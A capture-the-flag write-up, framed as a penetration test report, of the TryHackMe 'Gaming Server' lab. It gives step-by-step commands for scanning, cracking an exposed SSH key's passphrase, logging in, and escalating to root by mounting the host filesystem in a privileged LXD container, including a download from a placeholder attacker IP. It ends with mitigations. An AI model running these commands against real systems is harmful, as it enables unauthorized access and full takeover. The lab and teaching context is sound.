

Penetration Testing Assessment Report: Gaming Server CTF

Target IP: 10.10.x.x (Target Server)

Severity: Critical (Full System Compromise)

1. Executive Summary

A security assessment was conducted against the "Gaming Server" Linux target hosted on TryHackMe. The objective was to identify vulnerabilities, gain unauthorized access, elevate privileges, and capture both the user and root flags. The assessment revealed an exposed SSH private key via directory brute-forcing, weak encryption cracking (LXD/John), and local privilege escalation via exploitation of the `lxd` group membership to achieve full system compromise.

2. Attack Lifecycle & Technical Breakdown

Phase 1: Reconnaissance & Enumeration

An initial port scan was executed using `nmap` to map the target's attack surface:

Bash

```
nmap -sV -sC -A 10.10.x.x
```

- **Port 22 (SSH):** Open (OpenSSH 7.6p1)
- **Port 80 (HTTP):** Open (Apache httpd 2.4.29)

Web Directory Discovery

Navigating the website showed a gaming-themed homepage. A web directory brute-forcing session using `gobuster` or `dirb` revealed several active endpoints:

- `/secret/`
- `/uploads/`

Inspecting the `/secret/` directory revealed a raw SSH private key file named `secretKey`.

Further analysis of the website's main page source code and an exposed `/uploads/` directory uncovered a wordlist file (`dict.lst`) and references to a potential username: `john`.

Phase 2: Weaponization & Exploitation (SSH Initial Access)

The downloaded `secretKey` was protected by a passphrase. To crack it, the key was converted into a format readable by John the Ripper using `ssh2john.py`, and cracked using the custom wordlist discovered on the server.

Bash

Step 1: Convert the key for John
python3 ssh2john.py secretKey > key.hash

Step 2: Crack the passphrase using the extracted dictionary
john --wordlist=dict.lst key.hash

- **Cracked Passphrase:** Found successfully from the wordlist.
- **Username:** john

Establishing the Foothill

With the cracked passphrase and the proper file permissions set on the private key, an SSH session was successfully established:

```
Bash
chmod 600 secretKey
ssh -i secretKey john@10.10.x.x
```

- **User Flag obtained:** Located at `/home/john/user.txt`.

Phase 3: Privilege Escalation (Root Compromise)

Local enumeration was performed to identify paths to administrative privileges.

Identifying LXD Group Vulnerability

Checking the group memberships of the user john revealed a critical vector:

```
Bash
groups
```

Output: john adm cdrom sudo dip plugdev lpadmin lxd sambashare

The user was a member of the **lxd** group. By design, members of the **lxd** group can manage containers. Because the LXD daemon runs with **root** privileges and doesn't restrict container storage mounting, any user in this group can mount the host's entire root filesystem inside a container.

Building the Exploit Alpine Image

Because the target machine lacked external internet access to pull images, a lightweight Alpine build template was prepared locally on the attacker system and transferred over:

```
Bash
# On Attacker Machine:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine
# Generates an alpine-v3.x-x86_64-XXXXXXXXXX_XXXX.tar.gz file
```

```
# Transfer the image file to the target server via python HTTP server
python3 -m http.server 80
```

Executing the Container Mount on Target

Bash

```
# On Target Machine (in /tmp directory):
wget http://[Attacker_IP]/alpine-v3.x-x86_64-XXXXXXXXXX_XXXX.tar.gz
```

```
# Import the image into LXD
lxc image import alpine-v3.x-x86_64-XXXXXXXXXX_XXXX.tar.gz --alias myimage
```

```
# Initialize and configure the container to mount the host filesystem
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
```

```
# Start the container and execute a shell inside it
lxc start ignite
lxc exec ignite /bin/sh
```

Once inside the container shell, navigating to `/mnt/root` granted unrestricted read/write access to the host machine's primary hard drive as the `root` user.

Bash

```
# Accessing the host root directory
cd /mnt/root/root
cat root.txt
```

- **Root Flag obtained.** Full system takeover confirmed.

3. Vulnerability Summary Table

Vulnerability	Severity	CVSS Score	Description	Mitigation

Sensitive Data Exposure	High	7.5	An unprotected SSH private key (secretKey) was left in a publicly accessible web directory (/secret/).	Remove all sensitive infrastructure keys, development backups, and credentials from public web roots.
Weak Password / Key Protection	Medium	5.3	The private key passphrase was vulnerable to offline dictionary attacks using an asset wordlist hosted on the same server.	Enforce strong, complex passphrase policies for SSH keys and prevent hosting custom wordlists publicly.
LXD Privilege Escalation Flaw	High	8.8	Members of the local lxd group can provision privileged containers that mount and modify the host filesystem.	Restrict lxd group membership strictly to trusted administrators. Consider utilizing LXD's namespace features to restrict root container mapping.

4. Remediation Action Plan

1. **Purge Web Assets:** Instantly remove **/secret/secretKey** and **/uploads/dict.lst** from the web server.

2. **Rotate SSH Keys:** Invalidate the compromised SSH keypair for the user `john` immediately and generate a new one with a robust passphrase.
3. **Audit Local Group Membership:** Review local user group privileges. Remove non-administrative service accounts or standard users from critical system groups such as `lxd` or `docker`.